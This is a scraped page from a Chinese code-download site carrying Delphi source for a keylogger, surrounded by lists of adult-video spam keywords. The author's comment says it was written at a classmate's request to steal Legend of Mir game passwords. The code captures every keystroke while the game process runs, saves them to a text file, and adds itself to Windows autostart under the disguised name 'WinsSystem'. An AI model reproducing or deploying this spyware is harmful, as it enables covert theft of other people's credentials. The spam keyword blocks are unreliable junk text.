亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? main.~pas

?? 記錄某一進程的按鍵情況,不要用來干壞事啊。
?? ~PAS
字號:
unit main;
{受同學之邀,要我寫個盜傳奇密碼的程序,以前從沒有搞過,不知從何下手
知道原理是鍵盤記錄這方面的,所以寫了個很簡單的鍵盤記錄器罷了,并不
是什么密碼截取器.
(以TEST.EXE為例)本程序是通過幾個時鐘控件,一個用來監視}
interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, Registry;

type
  Tw_main = class(TForm)
    Timer_keyrec: TTimer;
    Timer_savetxt: TTimer;
    Memo_gettxt: TMemo;
    Timer_thread: TTimer;
    Label_thread: TLabel;
    procedure Timer_keyrecTimer(Sender: TObject);
    procedure Timer_savetxtTimer(Sender: TObject);
    procedure Timer_threadTimer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  w_main: Tw_main;

implementation
uses public_fun;
var
  F:Textfile;
{$R *.DFM}

//Detect Press Key From any window
procedure Tw_main.Timer_keyrecTimer(Sender: TObject);
var
  i : byte;
begin
  for i:=8 To 222 do
  begin
     if GetAsyncKeyState(i)=-32767 then
      begin
      case i of
      8  : Memo_gettxt.Lines[Memo_gettxt.Lines.count-1] := copy(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1],1,length(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1])-1); //Backspace
      9  : Memo_gettxt.text:=Memo_gettxt.text+'[Tab]';
      13 : Memo_gettxt.text:=Memo_gettxt.text+#13#10; //Enter
      17 : Memo_gettxt.text:=Memo_gettxt.text+'[Ctrl]';
      27 : Memo_gettxt.text:=Memo_gettxt.text+'[Esc]';
      32 :Memo_gettxt.text:=Memo_gettxt.text+' '; //Space
      // Del,Ins,Home,PageUp,PageDown,End
      33 : Memo_gettxt.text := Memo_gettxt.text + '[Page Up]';
      34 : Memo_gettxt.text := Memo_gettxt.text + '[Page Down]';
      35 : Memo_gettxt.text := Memo_gettxt.text + '[End]';
      36 : Memo_gettxt.text := Memo_gettxt.text + '[Home]';
      //Arrow Up Down Left Right
      37 : Memo_gettxt.text := Memo_gettxt.text + '[Left]';
      38 : Memo_gettxt.text := Memo_gettxt.text + '[Up]';
      39 : Memo_gettxt.text := Memo_gettxt.text + '[Right]';
      40 : Memo_gettxt.text := Memo_gettxt.text + '[Down]';

      44 : Memo_gettxt.text := Memo_gettxt.text + '[Print Screen]';
      45 : Memo_gettxt.text := Memo_gettxt.text + '[Insert]';
      46 : Memo_gettxt.text := Memo_gettxt.text + '[Del]';
      145 : Memo_gettxt.text := Memo_gettxt.text + '[Scroll Lock]';

      //Number 1234567890 Symbol !@#$%^&*()
      48 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+')'
           else Memo_gettxt.text:=Memo_gettxt.text+'0';
      49 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'!'
           else Memo_gettxt.text:=Memo_gettxt.text+'1';
      50 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'@'
           else Memo_gettxt.text:=Memo_gettxt.text+'2';
      51 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'#'
           else Memo_gettxt.text:=Memo_gettxt.text+'3';
      52 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'$'
           else Memo_gettxt.text:=Memo_gettxt.text+'4';
      53 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'%'
           else Memo_gettxt.text:=Memo_gettxt.text+'5';
      54 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'^'
           else Memo_gettxt.text:=Memo_gettxt.text+'6';
      55 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'&'
           else Memo_gettxt.text:=Memo_gettxt.text+'7';
      56 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'*'
           else Memo_gettxt.text:=Memo_gettxt.text+'8';
      57 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'('
           else Memo_gettxt.text:=Memo_gettxt.text+'9';
      65..90 : // a..z , A..Z
          begin
          if ((GetKeyState(VK_CAPITAL))=1) then
              if GetKeyState(VK_SHIFT)<0 then
                 Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)) //a..z
              else
                 Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
          else
              if GetKeyState(VK_SHIFT)<0 then
                  Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
              else
                  Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)); //a..z
          end;
      //Win
//      91 : Memo_gettxt.text:=Memo_gettxt.text+'[LWin]';
//      92 : Memo_gettxt.text:=Memo_gettxt.text+'[RWin]';
      //Numpad
      96..105 : Memo_gettxt.text:=Memo_gettxt.text + inttostr(i-96); //Numpad  0..9
      106:Memo_gettxt.text:=Memo_gettxt.text+'*';
      107:Memo_gettxt.text:=Memo_gettxt.text+'&';
      109:Memo_gettxt.text:=Memo_gettxt.text+'-';
      110:Memo_gettxt.text:=Memo_gettxt.text+'.';
      111:Memo_gettxt.text:=Memo_gettxt.text+'/';
      144 : Memo_gettxt.text:=Memo_gettxt.text+'[Num Lock]';

      112..123: //F1-F12
          Memo_gettxt.text:=Memo_gettxt.text+'[F'+IntToStr(i - 111)+']';

      186 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+':'
            else Memo_gettxt.text:=Memo_gettxt.text+';';
      187 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'+'
            else Memo_gettxt.text:=Memo_gettxt.text+'=';
      188 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'<'
            else Memo_gettxt.text:=Memo_gettxt.text+',';
      189 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'_'
            else Memo_gettxt.text:=Memo_gettxt.text+'-';
      190 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'>'
            else Memo_gettxt.text:=Memo_gettxt.text+'.';
      191 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'?'
            else Memo_gettxt.text:=Memo_gettxt.text+'/';
      192 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'~'
            else Memo_gettxt.text:=Memo_gettxt.text+'`';
      219 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'{'
            else Memo_gettxt.text:=Memo_gettxt.text+'[';
      220 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'|'
            else Memo_gettxt.text:=Memo_gettxt.text+'\';
      221 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'}'
            else Memo_gettxt.text:=Memo_gettxt.text+']';
      222 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'"'
            else Memo_gettxt.text:=Memo_gettxt.text+'''';
      end;
      end;
  end;
end;

procedure Tw_main.Timer_savetxtTimer(Sender: TObject);
begin
  Assignfile(F,'Save.txt');
  if not FileExists('Save.txt') Then
    begin
      Rewrite(F);
      Closefile(F);
    End
  Else
    Assignfile(F,'Save.txt');
    {$I-}
    Append(F);
    {$I+}
  If IOResult<> 0 Then
    Begin
      ShowMessage('Cannot Open File');
    End;

  Write(F,Memo_gettxt.Text);
  Memo_gettxt.Clear;
  Closefile(F);
end;

procedure Tw_main.Timer_threadTimer(Sender: TObject);
begin
  if detecthread('testmir.exe')='exist' then
    begin
      label_thread.Caption:='thread is Exist';
      timer_keyrec.Enabled:=true;
    end
  else
    begin
      label_thread.Caption:='thread is NOTexist';
      timer_keyrec.Enabled:=false;
    end;
end;

procedure Tw_main.FormCreate(Sender: TObject);
var
  regis_mymir:TRegistry;
begin
  regis_mymir:=TRegistry.Create();
  regis_mymir.RootKey:=HKEY_LOCAL_MACHINE;
  regis_mymir.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
  regis_mymir.WriteString('WinsSystem',ExtractFilename(Application.ExeName));
  regis_mymir.Free;
end;

end.

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
精品日韩在线观看| 欧美在线观看一区| 国产欧美视频在线观看| 国产mv日韩mv欧美| 国产午夜精品一区二区三区视频| 国产中文一区二区三区| 久久精品视频网| 99精品久久只有精品| 一二三四区精品视频| 69成人精品免费视频| 美女诱惑一区二区| 国产女同性恋一区二区| 91女厕偷拍女厕偷拍高清| 亚洲线精品一区二区三区| 91精品国产综合久久福利| 韩国精品一区二区| 国产精品福利一区二区| 欧美三级在线视频| 狠狠色丁香久久婷婷综合丁香| 久久久不卡网国产精品一区| 99久久久精品免费观看国产蜜| 亚洲成人你懂的| 国产亚洲婷婷免费| 欧美日韩国产小视频在线观看| 久久成人麻豆午夜电影| 1024成人网| 日韩一区二区免费在线电影| 成人午夜看片网址| 日韩精品欧美精品| 日韩一区在线免费观看| 日韩欧美电影一二三| 99久久er热在这里只有精品66| 日韩精品一二三| 国产精品久久久久天堂| 日韩欧美国产综合一区| 色一情一乱一乱一91av| 国产一区二区三区免费播放| 亚洲色图一区二区三区| www精品美女久久久tv| 91久久精品网| 高清国产一区二区| 日日摸夜夜添夜夜添国产精品 | 在线观看91视频| 国产成人在线免费观看| 亚洲成人av一区二区三区| 国产精品午夜电影| 精品久久久久久无| 欧美日韩成人综合| 色婷婷久久久亚洲一区二区三区| 国产一区欧美二区| 美女免费视频一区二区| 亚洲一区二区影院| 《视频一区视频二区| 久久久天堂av| 日韩欧美国产一区在线观看| 欧美在线视频日韩| 色综合色狠狠天天综合色| 国产成人在线视频网站| 国产一区二区三区四区在线观看 | 激情综合一区二区三区| 亚洲第一精品在线| 一级日本不卡的影视| 国产精品久久一卡二卡| 久久久高清一区二区三区| 精品国产污污免费网站入口 | 黑人巨大精品欧美黑白配亚洲| 亚洲gay无套男同| 亚洲尤物在线视频观看| 日韩码欧中文字| 亚洲男人的天堂av| 亚洲色图视频网| 亚洲品质自拍视频| 亚洲精品乱码久久久久久久久| 中文字幕在线观看不卡视频| 国产精品你懂的在线欣赏| 欧美国产日韩亚洲一区| 中文字幕乱码一区二区免费| 国产精品素人一区二区| 亚洲国产成人午夜在线一区| 欧美国产激情二区三区| 国产精品久久久久久户外露出 | 日韩一级完整毛片| 日韩视频中午一区| 精品久久免费看| 国产亚洲欧美色| 国产精品色呦呦| 亚洲少妇中出一区| 亚洲一区二区三区四区五区黄 | 日韩一区二区电影网| 欧美电影免费观看完整版| 精品成人佐山爱一区二区| 国产亚洲欧美激情| 中文字幕永久在线不卡| 亚洲精品第1页| 天天色图综合网| 看电视剧不卡顿的网站| 国产成人激情av| 色屁屁一区二区| 日韩欧美一区在线| 久久精子c满五个校花| 国产精品日韩精品欧美在线| 亚洲乱码国产乱码精品精的特点 | 一区二区三区美女视频| 午夜不卡av免费| 国产在线视频一区二区| www.色综合.com| 欧美视频一区二区三区四区| 日韩精品一区二区三区在线播放| 久久蜜桃av一区二区天堂| 中文字幕一区二区在线播放| 一级中文字幕一区二区| 久久精工是国产品牌吗| 97精品视频在线观看自产线路二| 欧美性猛交xxxxxxxx| 日韩免费视频线观看| 亚洲天堂成人网| 另类欧美日韩国产在线| 成人美女视频在线观看| 欧美日韩午夜在线视频| 久久精品男人天堂av| 亚洲国产欧美一区二区三区丁香婷| 久久成人av少妇免费| 色天天综合色天天久久| 日韩免费视频一区| 一区二区三区欧美在线观看| 久久99精品久久久久| 91在线云播放| 久久久久久久电影| 天堂成人国产精品一区| 不卡一区中文字幕| 日韩一区二区免费电影| 亚洲另类中文字| 国产成人鲁色资源国产91色综 | 日韩精品在线一区| 亚洲品质自拍视频| 国产精品一区免费在线观看| 51精品视频一区二区三区| 亚洲精品欧美二区三区中文字幕| 国产精品自拍一区| 欧美群妇大交群中文字幕| 亚洲欧美一区二区三区久本道91| 极品少妇一区二区三区精品视频| 欧美午夜电影在线播放| 欧美国产日韩在线观看| 黄色精品一二区| 欧美一级片免费看| 日韩国产精品久久| 欧美性一二三区| 亚洲欧美日韩在线| 成人app软件下载大全免费| 久久综合久久久久88| 日韩电影网1区2区| 欧美区在线观看| 婷婷亚洲久悠悠色悠在线播放| 91年精品国产| 亚洲精品免费播放| 色中色一区二区| 亚洲人成7777| 色诱亚洲精品久久久久久| 亚洲欧美在线另类| 91影院在线观看| 综合久久久久久| 99久久精品免费看国产免费软件| 国产偷v国产偷v亚洲高清| 国产乱码字幕精品高清av | 日本一区二区高清| 欧美日韩免费一区二区三区| 综合婷婷亚洲小说| 91小视频在线免费看| 亚洲视频网在线直播| 在线观看亚洲专区| 夜夜爽夜夜爽精品视频| 欧美日韩精品系列| 免费成人在线影院| 久久久久久**毛片大全| 国产成人在线视频免费播放| 国产欧美一区二区精品秋霞影院| 成人网在线播放| 亚洲免费看黄网站| 欧美三级在线看| 免费在线看成人av| 久久久精品中文字幕麻豆发布| 国产宾馆实践打屁股91| 成人欧美一区二区三区1314| 日本乱人伦aⅴ精品| 亚洲bt欧美bt精品| ww亚洲ww在线观看国产| 波多野结衣中文字幕一区二区三区| 亚洲三级在线播放| 欧美三级在线播放| 国内精品久久久久影院色| 国产精品美女久久久久久久久久久| 成人免费观看男女羞羞视频| 亚洲欧美日韩国产综合| 9191成人精品久久| 国产精品一区二区在线观看网站| 亚洲人精品一区| 日韩欧美第一区| 91免费视频大全| 久久精品国产网站|